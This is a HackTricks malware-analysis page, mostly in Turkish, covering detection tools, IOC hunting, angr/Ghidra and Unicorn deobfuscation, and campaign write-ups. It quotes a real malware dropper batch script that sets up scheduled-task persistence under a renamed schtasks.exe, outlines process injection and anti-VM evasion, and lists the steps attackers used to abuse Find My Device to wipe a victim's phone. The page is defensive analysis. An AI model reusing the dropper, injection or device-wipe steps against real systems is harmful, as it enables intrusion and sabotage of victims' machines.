Malware Analysis
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.
Adli Bilişim CheatSheets
https://www.jaiminton.com/cheatsheet/DFIR/#
Online Servisler
Offline Antivirus ve Detection Araçları
Yara
Install
sudo apt-get install -y yara
Kuralları hazırlayın
Tüm yara malware kurallarını github’dan indirmek ve birleştirmek için bu script’i kullanın: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
rules dizinini oluşturun ve bunu çalıştırın. Bu, tüm malware için yara kurallarını içeren malware_rules.yar adlı bir dosya oluşturacaktır.
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
Tarama
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen: Malware olup olmadığını kontrol et ve kurallar oluştur
Binary’den yara rules oluşturmak için YaraGen aracını kullanabilirsiniz. Şu eğitimlere göz atın: Part 1, Part 2, Part 3
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
Kurulum
sudo apt-get install -y clamav
Tarama
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa, executable’lerde potansiyel olarak kötü amaçlı capabilities tespit eder: PE, ELF, .NET. Bu yüzden Att&ck tactics veya şu tür şüpheli capabilities gibi şeyleri bulur:
- OutputDebugString hatasını kontrol et
- bir service olarak çalış
- process oluştur
Bunu Github repo üzerinden edinin.
IOCs
IOC, Indicator Of Compromise anlamına gelir. Bir IOC, potansiyel olarak istenmeyen bir yazılımı veya doğrulanmış malware’i tanımlayan koşullar kümesidir. Blue Teams bu tür tanımları, kendi sistemlerinde ve ağlarında bu tür kötü amaçlı dosyaları aramak için kullanır.
Bu tanımları paylaşmak çok faydalıdır; çünkü bir bilgisayarda malware tespit edilip o malware için bir IOC oluşturulduğunda, diğer Blue Teams bunu malware’i daha hızlı tespit etmek için kullanabilir.
IOC oluşturmak veya değiştirmek için bir araç IOC Editor.
Bir cihazda tanımlanmış IOCs’leri aramak için Redline gibi araçları kullanabilirsiniz.
Loki
Loki, Simple Indicators of Compromise için bir tarayıcıdır.
Tespit, dört detection methoduna dayanır:
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD) Linux için GNU GPLv2 lisansı altında yayımlanan, paylaşımlı barındırma ortamlarında karşılaşılan tehditler etrafında tasarlanmış bir malware tarayıcısıdır. Ağ kenarı intrusion detection systems’ten gelen tehdit verilerini kullanarak saldırılarda aktif olarak kullanılan malware’i çıkarır ve tespit için signature’lar üretir. Buna ek olarak, tehdit verileri LMD checkout özelliği ve malware topluluk kaynakları aracılığıyla kullanıcı gönderimlerinden de elde edilir.
rkhunter
rkhunter gibi araçlar, filesystem üzerinde olası rootkit’leri ve malware’i kontrol etmek için kullanılabilir.
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS farklı teknikler kullanarak executable içindeki obfuscated string’leri bulmaya çalışan bir araçtır.
PEpper
PEpper executable içindeki bazı temel şeyleri (binary data, entropy, URLs ve IPs, bazı yara rules) kontrol eder.
PEstudio
PEstudio Windows executable’ları hakkında imports, exports, headers gibi bilgiler almayı sağlayan bir araçtır, ayrıca virus total’ı kontrol eder ve potansiyel Att&ck techniques bulur.
Detect It Easy(DiE)
DiE bir dosyanın encrypted olup olmadığını tespit etmek ve ayrıca packers bulmak için kullanılan bir araçtır.
NeoPI
NeoPI metin/script dosyaları içindeki obfuscated ve encrypted içeriği tespit etmek için çeşitli statistical methods kullanan bir Python scriptidir. NeoPI’nin amaçlanan kullanım amacı, gizli web shell code tespitine yardımcı olmaktır.
php-malware-finder
PHP-malware-finder obfuscated/dodgy code ile birlikte PHP fonksiyonlarını sıkça kullanan malwares/webshell dosyalarını tespit etmek için elinden gelenin en iyisini yapar.
Apple Binary Signatures
Bazı malware sample’ları kontrol ederken, binary’nin signature’ını her zaman check etmelisiniz; çünkü onu imzalamış olan developer zaten malware. ile related olabilir.
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
Detection Techniques
File Stacking
Eğer bir web sunucusunun dosyalarını içeren bir klasörün en son belirli bir tarihte güncellendiğini biliyorsanız. Web sunucusundaki tüm dosyaların oluşturulma ve değiştirilme tarihlerini kontrol edin ve herhangi bir tarih şüpheliyse, o dosyayı inceleyin.
Baselines
Bir klasördeki dosyalar değiştirilmemiş olmalıysa, klasördeki orijinal dosyaların hash değerini hesaplayıp bunları mevcut olanlarla karşılaştırabilirsiniz. Değiştirilmiş olan her şey şüpheli olacaktır.
Statistical Analysis
Bilgiler loglarda saklanıyorsa, her bir web sunucusu dosyasına kaç kez erişildiği gibi istatistikleri kontrol edebilirsiniz, çünkü bir web shell bunların en çok görülenlerinden biri olabilir.
Android in-app native telemetry (no root)
Android’de, diğer JNI libs initialize olmadan önce küçük bir logger library’yi preload ederek hedef app process içinde native code’u instrument edebilirsiniz. Bu, system-wide hooks veya root olmadan native davranışa erken görünürlük sağlar. Popüler bir yaklaşım SoTap’tir: doğru ABI için libsotap.so’yu APK içine ekleyin ve erken bir aşamada System.loadLibrary(“sotap”) çağrısı inject edin (ör. static initializer veya Application.onCreate), ardından logları internal/external paths ya da Logcat fallback üzerinden toplayın.
Kurulum detayları ve log paths için Android native reversing sayfasına bakın:
Android/JNI native string deobfuscation with angr + Ghidra
Bazı Android malware ve RASP-protected apps, JNI method names ve signatures bilgilerini RegisterNatives çağırmadan önce runtime’da decode ederek gizler. Frida/ptrace instrumentation anti-debug nedeniyle öldürülüyorsa, yine de plaintext’i offline olarak binary içindeki decoder’ı angr ile çalıştırıp sonra sonuçları comments olarak Ghidra’ya geri aktararak elde edebilirsiniz.
Temel fikir: .so içindeki decoder’ı çağrılabilir bir function olarak ele alın, .rodata içindeki obfuscated byte blobs üzerinde çalıştırın ve çıktıyı ilk \x00’a kadar (C-string terminator) somutlaştırın. Address mismatches’ten kaçınmak için angr ve Ghidra’nın aynı image base’i kullandığından emin olun.
Workflow overview
- Ghidra’da triage: decoder’ı ve JNI_OnLoad ile RegisterNatives setup içindeki calling convention/arguments yapısını belirleyin.
- angr (CPython3) çalıştırın: her target string için decoder’ı execute edin ve sonuçları dump edin.
- Ghidra’da annotate edin: hızlı JNI reconstruction için decoded strings’i her call site’ta auto-comment olarak ekleyin.
Ghidra triage (JNI_OnLoad pattern)
- Ghidra’nın JNINativeMethod structures’ı tanıması için JNI datatypes’ını JNI_OnLoad’a uygulayın.
- Oracle docs’a göre tipik JNINativeMethod:
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- RegisterNatives çağrılarını arayın. Eğer library name/signature’ı local bir routine ile (ör. FUN_00100e10) oluşturuyorsa ve bu rutin static byte table’a (ör. DAT_00100bf4) referans veriyor ve (encoded_ptr, out_buf, length) gibi parameters alıyorsa, bu offline execution için ideal bir hedeftir.
angr setup (execute the decoder offline)
- .so’yu Ghidra’da kullanılan aynı base ile yükleyin (örnek: 0x00100000) ve state’i küçük tutmak için external libs’lerin auto-loading’ini devre dışı bırakın.
angr setup and offline decoder execution
```python import angr, jsonproject = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
fresh blank state per evaluation
st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)
Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
</details>
- Ölçekte, çağrı noktalarının decoder’ın argümanlarına (encoded_ptr, size) statik bir haritasını oluşturun. Wrapper’lar argümanları gizleyebilir, bu yüzden API recovery gürültülüyse bu eşlemeyi Ghidra xrefs’ten manuel olarak oluşturabilirsiniz.
<details>
<summary>angr ile birden fazla çağrı noktasını toplu çöz</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
Ghidra’da call sites’i annotate et Option A: Jython-only comment writer (önceden hesaplanmış bir JSON kullan)
- angr CPython3 gerektirdiği için, deobfuscation ve annotation işlemlerini ayrı tut. Önce yukarıdaki angr script’ini çalıştırarak decoded_strings.json üret. Sonra her call site’ta PRE_COMMENT yazmak için bu Jython GhidraScript’i çalıştır (ve context için caller function name’i de dahil et):
decoded JNI strings'i annotate etmek için Ghidra Jython script'i
```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnitAsk for the JSON produced by the angr script
f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings
fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()
Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()
Write comments from JSON
for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))
</details>
Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternatif olarak, aynı angr çalıştıran CPython prosesinden Ghidra’nın API’sini sürmek için pyhidra veya ghidra_bridge kullanın. Bu, ara dosya olmadan decode_string() çağırmayı ve hemen PRE_COMMENTs ayarlamayı sağlar. Mantık Jython scripti ile aynıdır: ReferenceManager üzerinden callsite→function map oluşturun, angr ile decode edin ve comments ayarlayın.
Why this works and when to use it
- Offline execution, RASP/anti-debug’i baypas eder: strings’i kurtarmak için ptrace veya Frida hooks gerekmez.
- Ghidra ve angr base_addr değerlerini hizalı tutmak (ör. 0x00100000), function/data addresses’lerin araçlar arasında eşleşmesini sağlar.
- Decoder’lar için tekrarlanabilir tarif: transform’u saf bir function olarak ele alın, fresh bir state içinde bir output buffer allocate edin, (encoded_ptr, out_ptr, len) ile çağırın, sonra state.solver.eval ile concretize edin ve C-strings’i \x00’a kadar parse edin.
Notes and pitfalls
- Target ABI/calling convention’e uyun. angr.factory.callable arch’e göre birini seçer; arguments kaymış görünüyorsa cc’yi açıkça belirtin.
- Decoder sıfırlanmış output buffers bekliyorsa, çağrıdan önce state içinde outbuf’u zeros ile initialize edin.
- Position-independent Android .so için, angr içindeki addresses’in Ghidra’da görülenlerle eşleşmesi için her zaman base_addr sağlayın.
- App decoder’ı ince stubların arkasına sarsa bile call-xrefs’i listelemek için currentProgram.getReferenceManager() kullanın.
angr basics için bkz: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)
---
## Dinamik Control-Flow’un (JMP/CALL RAX Dispatchers) Obfuscation’ını Çözme
Modern malware aileleri Control-Flow Graph (CFG) obfuscation’ını yoğun biçimde kötüye kullanır: doğrudan bir jump/call yerine destination’ı run-time’da hesaplar ve `jmp rax` veya `call rax` çalıştırırlar. CPU `ZF`/`CF` flags’lerine bağlı olarak final target’ı ayarlayan küçük bir *dispatcher* (genellikle dokuz instructions), static CFG recovery’yi tamamen bozar.
SLOW#TEMPEST loader tarafından gösterilen teknik, yalnızca IDAPython ve Unicorn CPU emulator’üne dayanan üç adımlı bir workflow ile etkisiz hale getirilebilir.
### 1. Tüm indirect jump / call’ları bulun
```python
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. Dağıtıcı byte-code’unu çıkarın
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
Unicorn ile iki kez emüle et
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
run(code,0,0) ve run(code,1,1) komutlarını çalıştırarak false ve true dal hedeflerini elde edin.
4. Bir doğrudan jump / call geri yaması yapın
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
Yama sonrası, tam CFG ve Hex-Rays çıktısı geri gelsin diye IDA’yı fonksiyonu yeniden analiz etmeye zorlayın:
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. Dolaylı API çağrılarını etiketleyin
Her call rax ifadesinin gerçek hedefi bilindiğinde, IDA’ya bunun ne olduğunu söyleyebilirsiniz; böylece parametre türleri ve değişken adları otomatik olarak geri kazanılır:
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
Pratik faydalar
- Gerçek CFG’yi geri yükler → decompilation 10 satırdan binlerce satıra çıkar.
- string-cross-reference ve xrefs etkinleşir, bu da davranışın yeniden oluşturulmasını önemsiz hale getirir.
- Scriptler yeniden kullanılabilir: onları aynı trick ile korunan herhangi bir loader içine bırakın.
AutoIt-based loader’lar: .a3x decryption, Task Scheduler masquerade ve RAT injection
Bu intrusion pattern, imzalı bir MSI, .a3x’e derlenmiş AutoIt loader’ları ve masum bir uygulama gibi davranan bir Task Scheduler job’ını zincirler.
MSI → custom actions → AutoIt orchestrator
MSI custom actions tarafından yürütülen process tree ve komutlar:
- MsiExec.exe → install.bat’i çalıştırmak için cmd.exe
- Sahte bir error dialog göstermek için WScript.exe
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
install.bat (loader bırakır, persistence ayarlar, kendini temizler):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (kullanıcı yem):
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"
Anahtar artefaktlar ve masquerade:
- AutoIt3.exe ve IoKlTr.au3 dosyalarını C:\Users\Public\Music konumuna bırakır
- schtasks.exe dosyasını hwpviewer.exe olarak kopyalar (Hangul Word Processor viewer olarak masquerade eder)
- Her 1 dakikada bir çalışan “IoKlTr” adlı bir scheduled task oluşturur
- Startup LNK, Smart_Web.lnk olarak görülür; mutex:
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 - Modülleri %APPDATA%\Google\Browser\ alt klasörlerinde, içinde
adbveyaadvbulunan dizinlere yerleştirir ve bunları autoit.vbs/install.bat yardımcıları üzerinden başlatır
Adli ön inceleme ipuçları:
- schtasks envanteri:
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - Task XML ile aynı konumda bulunan yeniden adlandırılmış schtasks.exe kopyalarını arayın:
dir /a "C:\Users\Public\Music\hwpviewer.exe" - Yaygın yollar:
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, StartupSmart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - Process creation korelasyonu: AutoIt3.exe’nin temizmgr.exe, hncfinder.exe gibi meşru Windows binary’lerini başlatması
AutoIt yükleyicileri ve .a3x payload decryption → injection
- AutoIt modülleri
#AutoIt3Wrapper_Outfile_type=a3xile derlenir ve benign süreçlere inject etmeden önce gömülü payload’ları decrypt eder. - Gözlemlenen aileler: QuasarRAT (hncfinder.exe içine inject edilir) ve RftRAT/RFTServer (cleanmgr.exe içine inject edilir), ayrıca RemcosRAT modülleri (
Remcos\RunBinary.a3x). - Decryption paterni: HMAC ile bir AES anahtarı türetin, gömülü blob’u decrypt edin, ardından plaintext modülü inject edin.
Genel decryption iskeleti (tam HMAC girdisi/algoritması aileye özeldir):
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
Common injection flow (CreateRemoteThread-style):
- CreateProcess (suspended) of the target host (e.g., cleanmgr.exe)
- VirtualAllocEx + WriteProcessMemory with decrypted module/shellcode
- CreateRemoteThread or QueueUserAPC to execute payload
Hunting ideas
- AutoIt3.exe parented by MsiExec.exe or WScript.exe spawning system utilities
- Files with
.a3xextensions or AutoIt script runners under public/user-writable paths - Suspicious scheduled tasks executing AutoIt3.exe or binaries not signed by Microsoft, with minute-level triggers
Android Find My Device (Find Hub) hesap ele geçirme kötüye kullanımı
Windows sızması sırasında, operatörler çalınan Google kimlik bilgilerini kullanarak kurbanın Android cihazlarını tekrar tekrar sıfırladı; bu sırada, kurbanın oturum açmış masaüstü messenger’ı üzerinden erişimi genişletirken bildirimleri bastırdılar.
Operatör adımları (oturum açılmış bir tarayıcı oturumundan):
- Google Account → Security → Your devices incele; Find My Phone → Find Hub (https://www.google.com/android/find) yolunu izle
- Cihazı seç → Google şifresini yeniden gir → “Erase device” uygula (fabrika ayarı sıfırlama); kurtarmayı geciktirmek için bunu tekrarla
- İsteğe bağlı: güvenlik bildirimlerini gizlemek için bağlı posta kutusundaki (örn. Naver) uyarı e-postalarını sil
Ağır şekilde obfuscate edilmiş Node.js loader’larını izleme
Saldırganlar giderek JavaScript loader’ları nexe ile derlenmiş bağımsız Windows binary’lerin içine paketliyor; böylece runtime script ile birlikte geliyor. Ortaya çıkan PE genellikle 60–90 MB olur ve Node.js yüklü olmasa bile çalışır. Triyaj sırasında:
- Gömülü JavaScript’i PE içinden ayıklamak ve statik diffing için yerel araçlara vermek üzere
nexe_unpackerkullan. %TEMP%içinde disk tabanlı bir mutex bekle (GachiLoader rastgele bir<name>.lockdosyası bırakır ve bu dosya yaklaşık 5 dakika sonra süresi dolur). Dosyayı çalıştırmadan önce sandbox’a kopyalamak, sonraki payload’ları hâlâ görürken gereksiz aşamaları atlamanı sağlar.
Anti-analysis’i yenmek için Node.js API tracing
Check Point’in Nodejs-Tracer aracı, herhangi bir Node.js prosesinin içindeki core module’ları hook’lar, anti-VM kontrollerini spoof etmeni sağlar ve örneğin yazdığı her artifact’i korur. Analyst-controlled instrumentation’ı call stack’te tutmak için obfuscate edilmiş script’leri tracer üzerinden başlat:
node -r .\tracer.js main.js
Key configuration toggles inside tracer.js allow you to:
- Dosya sistemi, child-process ve HTTP aktivitelerini loglamak (
LOG_HTTP_REQUESTS,SAVE_FILE_WRITES). Atılan her dosya—örneğinkidkadi.node—malware silmeden önce working directory’ye kopyalanır. - Environment fingerprint’lerini gerçekçi RAM/CPU sayıları döndürerek,
tasklistçıktısını taklit ederek ve PowerShell/WMI cevaplarını manipüle ederek override etmek. Bu, ≥4 GB RAM, ≥2 core isteyen ve kullanıcı adlarını (mashinesssss,wdagutilityaccount, vb.), hostnames (desktop-vrsqlag,server1…) ve process adlarını (vmtoolsd.exe,fiddler.exe,x64dbg.exe,frida-server.exe) inceleyen loaders’ları bypass eder. Get-WmiObject Win32_DiskDrivegibi WMI hardware kontrollerini etkisizleştirmek (vmware,kvm,virtio, … arayan),Win32_VideoController(“VirtualBox Graphics Adapter”, “Hyper-V Video”, vb. engelleyen) veWin32_PortConnectorsayımlarını etkisizleştirmek. Bu probe’lar “gerçek” hardware raporladığında, sandboxes artık GachiLoader’ın analysis time’ı boşa harcamak içinlinkedin.com,grok.com,whatsapp.comve benzeri domain’lere yaptığı sonsuz benignInvoke-WebRequestdöngüsüne takılmaz.
Gated C2 trafiğini otomatik yakalama
Tracer’ın network hook’ları, JavaScript obfuscation’ı reverse etmeden çok katmanlı C2 authentication’ı açığa çıkarır. Gözlemlenen campaign’de loader:
- Her hard-coded C2’ye host telemetry’yi
/logile POST eder. - Base64-encoded payload URL’sini almak için
X-Secret: gachifamilyileGET /richfamily/<per-sample key>isteği yapar. - O URL’ye uzun, sample başına değişen bir
X-Secretheader’ı ile finalGETatar; bu header eksikse403 Forbiddendöner.
Tracer tam request’leri (headers, bodies, destinations) kaydettiği için, payload’ları çekmek, Themida/VMProtect shells’i memory’de dump etmek ve Rhadamanthys configuration verisini scale ederek çıkarmak için aynı trafiği replay edebilirsiniz.
AdaptixC2: Configuration Extraction and TTPs
Ayrı sayfaya bakın:
Adaptixc2 Config Extraction And Ttps
Kimwolf Android Botnet Tradecraft
TV box’larda APK loader & native ELF execution
com.n2.systemservice06*gibi malicious APK’ler,res/rawiçinde statically linked ARM ELF taşır (ör.R.raw.libniggakernel). BirBOOT_COMPLETEDreceiver startup’ta çalışır, raw resource’u app sandbox’ına çıkarır (ör./data/data/<pkg>/niggakernel), executable yapar vesuile çağırır.- Birçok Android TV box/tablet, önceden root’lu image’lar veya world-writable
suile gelir; bu yüzden loader, exploit chain olmadan bile ELF’i güvenilir şekilde UID 0 ile boot eder. Persistence “bedava” gelir; çünkü receiver her reboot veya app restart sonrası yeniden başlar. - Bu pattern’i avlayan reverse engineer’ler,
AndroidManifest.xmliçinde gizli boot receiver’lar ileResources.openRawResource→FileOutputStream→Runtime.getRuntime().exec("su")referanslayan code’ları diff edebilir. ELF düştüğünde, onu Linux userland backdoor olarak triage edin (Kimwolf UPX-packed, stripped, statically linked, 32-bit ARM EABI5).
Runtime mutexes & masquerading IOCs
- Start sırasında Kimwolf,
@niggaboxv4/@niggaboxv5gibi bir abstract UNIX domain socket bağlar. Var olan socket’ler exit’e zorlar; bu yüzden socket adı hem mutex hem de forensic artifact olarak çalışır. - Process title, Android process listing’lerine karışmak için service benzeri adlarla (
netd_services,tv_helper, vb.) üzerine yazılır. Host-based detections, bu adları mutex socket ile birlikte alarm üretecek şekilde izleyebilir.
Stack XOR string decoding with ARM NEON + flare_emu
- Hassas strings (C2 domains, resolvers, DoT endpoints) stack üzerine encrypted 8-byte blocks halinde itilip
VEOR Qx, Qx, Qy(veorq_s64) ile yerinde decode edilir. Analistler, decryptor bunları caller’a her verdiğinde decrypted pointer’ı yakalamak için flare_emu scriptleyebilir:
import flare_emu
eh = flare_emu.EmuHelper()
def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))
eh.iterate(0x8F00, hook) # sub_8F00 consumes the plaintext R1 argument
VEOR Q8, Q8, Q9/veorq_s64dizilerini aramak ve bunların aralıklarını emüle etmek, çözülen her stringi topluca döker ve plaintext’in stack-only ömrünü aşar.
DNS-over-TLS çözümlemesi ve XOR IP türetme
- Tüm Kimwolf varyantları, C2 domainlerini DNS-over-TLS (TCP/853) ile doğrudan Google (8.8.8.8) veya Cloudflare (1.1.1.1) üzerinden çözer; böylece düz DNS logging veya hijacking etkisiz kalır.
- v4 botları yalnızca dönen IPv4 A record’u kullanır. v5 botları A record’u 32-bit integer olarak ele alır, endianness’ini değiştirir, bunu
0x00ce0491sabitiyle XOR’lar, ardından gerçek C2 IP’sini elde etmek için endianness’i tekrar tersine çevirir. CyberChef recipe: Change IP format → swap endianness per 4-byte chunk → XOR with00 ce 04 91→ convert back to dotted decimal.
ENS / EtherHiding fallback
- Daha sonraki build’ler, resolver text key
"lol"içinde zararsız görünen bir IPv6 (fed0:5dec:...:1be7:8599) saklayan bir ENS domaini (pawsatyou.eth) ekler. - Bot son dört baytı (
1b e7 85 99) alır, bunları0x93141715ile XOR’lar ve sonucu bir IPv4 C2 (136.243.146.140) olarak yorumlar. ENS text record’unu güncellemek, DNS’e dokunmadan blockchain üzerinden downstream C2’leri anında değiştirir.
TLS + ECDSA authenticated command channel
- Traffic, özel bir framed protocol ile wolfSSL içinde encapsulate edilir:
struct Header {
Magic [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8 // 0x01
MsgType uint8 // verb
MsgID uint32
BodyLen uint32
CRC32 uint32
}
- Bootstrap: bot iki boş
MsgType=0 (register)header gönderir. C2, rastgele bir challenge ve bir ASN.1 DER ECDSA imzası içerenMsgType=1 (verify)ile yanıt verir. Botlar bunu embedded bir SubjectPublicKeyInfo blob’una karşı doğrular; başarısızlıklar oturumu sonlandırır ve ele geçirilmiş/sinkholed C2 node’larının fleet’i task etmesini engeller. - Doğrulama tamamlanınca bot, operatör tarafından tanımlanan group string’i taşıyan bir
MsgType=0body gönderir (ör.android-postboot-rt). Grup etkinse C2, ardından tasking’in (MsgType 5–12) başladığıMsgType=2 (confirm)ile yanıt verir. - Desteklenen verbs arasında SOCKS-style TCP/UDP proxying (residential proxy monetization), reverse shell / single command exec, file read/write ve Mirai-compatible DDoSBody payload’ları (aynı
AtkType,Duration,Targets[],Flags[]layout) bulunur.
Partial-encryption ransomware: kaybolan stream-cipher nonce’ları
Bazı ransomware family’leri hız için dosyaları kısmen encrypt eder, ancak bir stream cipher’ı birden fazla chunk üzerinde bağımsız kullanırlarsa, her encrypted region’ın kendi kalıcı nonce/IV’si gerekir. Eğer sample her chunk için yeni bir nonce üretip loop içinde aynı 12-byte buffer’ı overwrite ediyor ve disk’e yalnızca son değeri append ediyorsa, önceki chunk’lar saldırgan sonradan key’i paylaşsa bile cryptographically unrecoverable hale gelir.
Tipik bozuk pattern:
for (i = 0; i < 4; i++) {
randombytes_buf(nonce, 12); // same buffer reused each round
crypto_stream_chacha20_ietf_xor(chunk, chunk, len, nonce, key);
}
write(fd, nonce, 12); // only the last nonce survives
References
- Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques
- SoTap: Lightweight in-app JNI (.so) behavior logger – github.com/RezaArbabBot/SoTap
- Strategies for Analyzing Native Code in Android Applications: Combining Ghidra and Symbolic Execution for Code Decryption and Deobfuscation – revflash.medium.com
- Ghidra – github.com/NationalSecurityAgency/ghidra
- angr – angr.io
- JNI_OnLoad and invocation API – docs.oracle.com
- RegisterNatives – docs.oracle.com
- Tracing JNI Functions – valsamaras.medium.com
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – laripping.com
- Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks
